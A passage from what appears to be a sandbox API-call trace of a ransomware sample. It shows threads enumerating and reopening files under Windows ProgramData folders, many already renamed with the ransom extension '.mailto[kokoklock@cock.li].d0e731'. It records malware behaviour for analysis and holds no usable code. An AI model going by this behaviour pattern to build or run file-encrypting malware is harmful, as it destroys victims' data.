dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f97218, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3d8 [0176.646] FindNextFileW (in: hFindFile=0x2f7fca0, lpFindFileData=0x3023590 | out: lpFindFileData=0x3023590*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3bf64479, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x781a2192, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x549d0900, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x5e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="resource.xml", cAlternateFileName="")) returned 0 [0176.646] FindClose (in: hFindFile=0x2f7fca0 | out: hFindFile=0x2f7fca0) returned 1 [0176.646] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3023590) returned 1 [0176.646] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa6f00) returned 1 [0176.646] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f9e7f0) returned 1 [0176.647] RtlExitUserThread (Status=0x0) Thread: id = 2509 os_tid = 0xfd8 [0176.404] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\tasks.xml" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\tasks.xml")) returned 0x20 [0176.404] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\tasks.xml", dwFileAttributes=0x20) returned 0 [0176.404] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\tasks.xml" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\tasks.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0176.405] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\tasks.xml", dwFileAttributes=0x20) returned 0 [0176.405] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa6b18) returned 1 [0176.405] RtlExitUserThread (Status=0x0) Thread: id = 2510 os_tid = 0xfdc [0176.406] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xbc) returned 0x2fa6b18 [0176.406] wcscpy (in: _Dest=0x2fa6b18, _Source="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US" [0176.406] wcscat (in: _Dest=0x2fa6b18, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\" [0176.406] wcscat (in: _Dest=0x2fa6b18, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\*") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\*" [0176.406] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x30237f8 [0176.406] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\*", lpFindFileData=0x30237f8 | out: lpFindFileData=0x30237f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b27bb25, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbd5f5c36, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b27bb25, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f7fd20 [0176.407] wcscmp (_String1=".", _String2=".") returned 0 [0176.407] FindNextFileW (in: hFindFile=0x2f7fd20, lpFindFileData=0x30237f8 | out: lpFindFileData=0x30237f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b27bb25, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbd5f5c36, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b27bb25, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0176.407] wcscmp (_String1="..", _String2=".") returned 1 [0176.407] wcscmp (_String1="..", _String2="..") returned 0 [0176.407] FindNextFileW (in: hFindFile=0x2f7fd20, lpFindFileData=0x30237f8 | out: lpFindFileData=0x30237f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3de910b4, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x755f99d9, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x11db3100, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x536, dwReserved0=0x0, dwReserved1=0x0, cFileName="resource.xml", cAlternateFileName="")) returned 1 [0176.407] wcscmp (_String1="resource.xml", _String2=".") returned 1 [0176.407] wcscmp (_String1="resource.xml", _String2="..") returned 1 [0176.407] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xd2) returned 0x2f972f8 [0176.407] wcscpy (in: _Dest=0x2f972f8, _Source="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US" [0176.407] wcscat (in: _Dest=0x2f972f8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\" [0176.407] wcscat (in: _Dest=0x2f972f8, _Source="resource.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\resource.xml") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\resource.xml" [0176.644] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f972f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x68c [0176.644] FindNextFileW (in: hFindFile=0x2f7fd20, lpFindFileData=0x30237f8 | out: lpFindFileData=0x30237f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3de910b4, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x755f99d9, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x11db3100, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x536, dwReserved0=0x0, dwReserved1=0x0, cFileName="resource.xml", cAlternateFileName="")) returned 0 [0176.644] FindClose (in: hFindFile=0x2f7fd20 | out: hFindFile=0x2f7fd20) returned 1 [0176.645] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30237f8) returned 1 [0176.645] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa6b18) returned 1 [0176.645] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f9e730) returned 1 [0176.645] RtlExitUserThread (Status=0x0) Thread: id = 2511 os_tid = 0xfe0 [0176.408] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\resource.xml" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\resource.xml")) returned 0x20 [0176.409] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\resource.xml", dwFileAttributes=0x20) returned 0 [0176.409] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\resource.xml" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\resource.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0176.409] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\resource.xml", dwFileAttributes=0x20) returned 0 [0176.409] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc3068) returned 1 [0176.409] RtlExitUserThread (Status=0x0) Thread: id = 2512 os_tid = 0xe00 [0176.410] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\tasks.xml" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\tasks.xml")) returned 0x20 [0176.410] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\tasks.xml", dwFileAttributes=0x20) returned 0 [0176.410] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\tasks.xml" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\tasks.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0176.410] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\tasks.xml", dwFileAttributes=0x20) returned 0 [0176.411] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa7608) returned 1 [0176.411] RtlExitUserThread (Status=0x0) Thread: id = 2513 os_tid = 0x111c [0176.412] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18\\4eccd106f69e31c1b12304e5463bb71d_33d770d0-06bc-47c5-8714-222cdac43a71.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\crypto\\rsa\\s-1-5-18\\4eccd106f69e31c1b12304e5463bb71d_33d770d0-06bc-47c5-8714-222cdac43a71.mailto[kokoklock@cock.li].d0e731")) returned 0x24 [0176.412] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18\\4eccd106f69e31c1b12304e5463bb71d_33d770d0-06bc-47c5-8714-222cdac43a71.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0176.412] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18\\4eccd106f69e31c1b12304e5463bb71d_33d770d0-06bc-47c5-8714-222cdac43a71.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\crypto\\rsa\\s-1-5-18\\4eccd106f69e31c1b12304e5463bb71d_33d770d0-06bc-47c5-8714-222cdac43a71.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0176.412] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18\\4eccd106f69e31c1b12304e5463bb71d_33d770d0-06bc-47c5-8714-222cdac43a71.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x24) returned 0 [0176.412] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe2898) returned 1 [0176.412] RtlExitUserThread (Status=0x0) Thread: id = 2514 os_tid = 0x1120 [0176.413] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\MachineKeys\\f686aace6942fb7f7ceb231212eef4a4_e8d761b7-8a68-4187-8c95-75a3788ac267" (normalized: "c:\\users\\all users\\microsoft\\crypto\\rsa\\machinekeys\\f686aace6942fb7f7ceb231212eef4a4_e8d761b7-8a68-4187-8c95-75a3788ac267")) returned 0x24 [0176.414] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\MachineKeys\\f686aace6942fb7f7ceb231212eef4a4_e8d761b7-8a68-4187-8c95-75a3788ac267", dwFileAttributes=0x20) returned 0 [0176.414] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\MachineKeys\\f686aace6942fb7f7ceb231212eef4a4_e8d761b7-8a68-4187-8c95-75a3788ac267" (normalized: "c:\\users\\all users\\microsoft\\crypto\\rsa\\machinekeys\\f686aace6942fb7f7ceb231212eef4a4_e8d761b7-8a68-4187-8c95-75a3788ac267"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0176.414] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\MachineKeys\\f686aace6942fb7f7ceb231212eef4a4_e8d761b7-8a68-4187-8c95-75a3788ac267", dwFileAttributes=0x24) returned 0 [0176.414] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f85418) returned 1 [0176.414] RtlExitUserThread (Status=0x0) Thread: id = 2515 os_tid = 0x1124 [0176.415] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\MasterDescriptor.x-none.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\0d0d4eeb-dc03-4b3f-88df-959fe1ede5f4\\x-none.16\\masterdescriptor.x-none.xml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0176.416] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\MasterDescriptor.x-none.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0176.416] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\MasterDescriptor.x-none.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\0d0d4eeb-dc03-4b3f-88df-959fe1ede5f4\\x-none.16\\masterdescriptor.x-none.xml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0176.416] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\MasterDescriptor.x-none.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0176.416] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe2760) returned 1 [0176.416] RtlExitUserThread (Status=0x0) Thread: id = 2516 os_tid = 0x1128 [0176.418] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\s640.hash.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\0d0d4eeb-dc03-4b3f-88df-959fe1ede5f4\\x-none.16\\s640.hash.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0176.418] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\s640.hash.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0176.419] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\s640.hash.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\0d0d4eeb-dc03-4b3f-88df-959fe1ede5f4\\x-none.16\\s640.hash.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0176.419] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\s640.hash.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0176.419] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x305ddb8) returned 1 [0176.419] RtlExitUserThread (Status=0x0) Thread: id = 2517 os_tid = 0x112c [0176.420] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\stream.x64.x-none.man.dat.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\0d0d4eeb-dc03-4b3f-88df-959fe1ede5f4\\x-none.16\\stream.x64.x-none.man.dat.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0176.420] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\stream.x64.x-none.man.dat.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0176.420] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\stream.x64.x-none.man.dat.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\0d0d4eeb-dc03-4b3f-88df-959fe1ede5f4\\x-none.16\\stream.x64.x-none.man.dat.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0176.420] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\stream.x64.x-none.man.dat.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0176.420] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe2280) returned 1 [0176.421] RtlExitUserThread (Status=0x0) Thread: id = 2518 os_tid = 0x1130 [0176.422] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\MasterDescriptor.en-us.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\0d0d4eeb-dc03-4b3f-88df-959fe1ede5f4\\en-us.16\\masterdescriptor.en-us.xml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0176.423] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\MasterDescriptor.en-us.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0176.423] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\MasterDescriptor.en-us.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\0d0d4eeb-dc03-4b3f-88df-959fe1ede5f4\\en-us.16\\masterdescriptor.en-us.xml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0176.423] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\MasterDescriptor.en-us.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0176.424] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe2628) returned 1 [0176.424] RtlExitUserThread (Status=0x0) Thread: id = 2519 os_tid = 0x1134 [0176.425] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\s641033.hash.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\0d0d4eeb-dc03-4b3f-88df-959fe1ede5f4\\en-us.16\\s641033.hash.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0176.428] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\s641033.hash.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0176.428] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\s641033.hash.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\0d0d4eeb-dc03-4b3f-88df-959fe1ede5f4\\en-us.16\\s641033.hash.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0176.428] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\s641033.hash.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0176.428] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x305ded0) returned 1 [0176.428] RtlExitUserThread (Status=0x0) Thread: id = 2520 os_tid = 0x1138 [0176.429] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\stream.x64.en-us.man.dat.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\0d0d4eeb-dc03-4b3f-88df-959fe1ede5f4\\en-us.16\\stream.x64.en-us.man.dat.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0176.430] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\stream.x64.en-us.man.dat.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0176.430] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\stream.x64.en-us.man.dat.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\0d0d4eeb-dc03-4b3f-88df-959fe1ede5f4\\en-us.16\\stream.x64.en-us.man.dat.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0176.430] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\stream.x64.en-us.man.dat.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0176.430] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f70d80) returned 1 [0176.430] RtlExitUserThread (Status=0x0) Thread: id = 2521 os_tid = 0x113c [0176.431] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\MasterDescriptor.x-none.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\19b11135-37bd-4fa1-a78e-c20ca2bda1c0\\x-none.16\\masterdescriptor.x-none.xml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0176.433] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\MasterDescriptor.x-none.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0176.433] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\MasterDescriptor.x-none.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\19b11135-37bd-4fa1-a78e-c20ca2bda1c0\\x-none.16\\masterdescriptor.x-none.xml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0176.434] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\MasterDescriptor.x-none.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0176.434] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe24f0) returned 1 [0176.434] RtlExitUserThread (Status=0x0) Thread: id = 2522 os_tid = 0x1140 [0176.435] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\s640.hash.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\19b11135-37bd-4fa1-a78e-c20ca2bda1c0\\x-none.16\\s640.hash.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0176.439] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\s640.hash.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0176.439] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\s640.hash.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all 